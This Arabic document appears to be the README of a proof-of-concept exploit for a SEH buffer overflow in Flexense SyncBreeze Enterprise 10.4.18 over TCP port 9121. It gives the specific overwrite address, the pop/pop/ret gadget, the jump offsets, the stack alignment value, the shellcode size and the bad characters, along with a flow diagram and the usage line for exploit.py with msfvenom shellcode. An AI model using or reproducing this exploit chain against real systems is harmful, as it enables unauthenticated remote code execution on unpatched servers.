
ثغرة تجاوز سعة المخزن المؤقت في بروتوكول التحكم في Flexense SyncBreeze Enterprise الإصدار 10.4.18 تسمح للمهاجمين عن بُعد بتنفيذ كود تعسفي عن طريق إرسال حزمة مصمَّمة خصيصًا إلى منفذ TCP 9121
يستهدف الثغرة Sync Breeze التي تعمل على Windows 10 (x86, build: 16299)، وتؤثر على الإصدار 10.4.18، حيث يمكن للمهاجم غير المصادق تنفيذ SEH overflow عبر اتصال TCP، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد. يفترض هذا الاستغلال تعطيل جميع وسائل التخفيف الأمنية (مثل ASLR, DEP).
استبدال العنوان الذي يشير إلى Handler
يتم استخدام العنوان الجديد 1015a2f0 لاستبدال العنوان القديم الذي كان يشير إلى دالة _except_handler. يشير هذا العنوان الجديد إلى تعليمات التجميع التالية:
pop eax ; esp += 0x04
pop ebx ; esp += 0x04
ret ; esp now points to the buffer
القفز فوق العنوان المستبدل
بعد استمرار التنفيذ في المخزن المؤقت، من الضروري القيام بـ jmp فوق العنوان المستبدل سابقًا (1015a2f0) حيث سيتم تفسيره الآن كتعليمة، ويتم ذلك باستخدام: jmp 0xffffff93.
محاذاة المكدس مع المخزن المؤقت
للتحضير لتنفيذ ثابت ومستقر لـ shellcode المقدمة، نقوم بمحاذاة مؤشر المكدس مع المخزن المؤقت بحيث يشير esp إلى بداية nop-sled ذو الحجم الديناميكي.
تنفيذ shellcode
عندما يشير مؤشر esp إلى بداية nop-sled، نقوم ببساطة بتنفيذ تعليمة jmp esp لتشغيل shellcode. يمكن أن تحتوي shellcode على 400 بايت كحد أقصى، يمكنك زيادة هذا النطاق عن طريق إعادة تعيين nop-sled و/أو padding.
أثناء إنشاء/توليد shellcode، من المهم تجنب الأحرف السيئة التالية: \x00\x02\x0A\x0D.
graph TB
subgraph s1["1: gain execution"]
a1["overwrite the address pointing to the <code>Handler</code>"]
a2["retrieve address to buffer from stack (p/p/r)"]
a3["jump over overwritten address (of: p/p/r)"]
a1 --> a2 --> a3
end
subgraph s2["2: reach buffer"]
b1["align <code>esp</code> with start of <br> nop-sled (add: 0xe70)"]
b2["jump to <code>esp</code> to <br> execute <span style="color:red">shellcode</span>"]
b1 --> b2
end
s1 --> s2

python3 exploit.py --host <host> --port <port> --file <file>
| العلم | الوصف |
|---|---|
| host | الواجهة التي يستمع عليها Sync Breeze |
| port | المنفذ الذي يستمع عليه Sync Breeze |
| file | المخرجات الخام لـ msfvenom |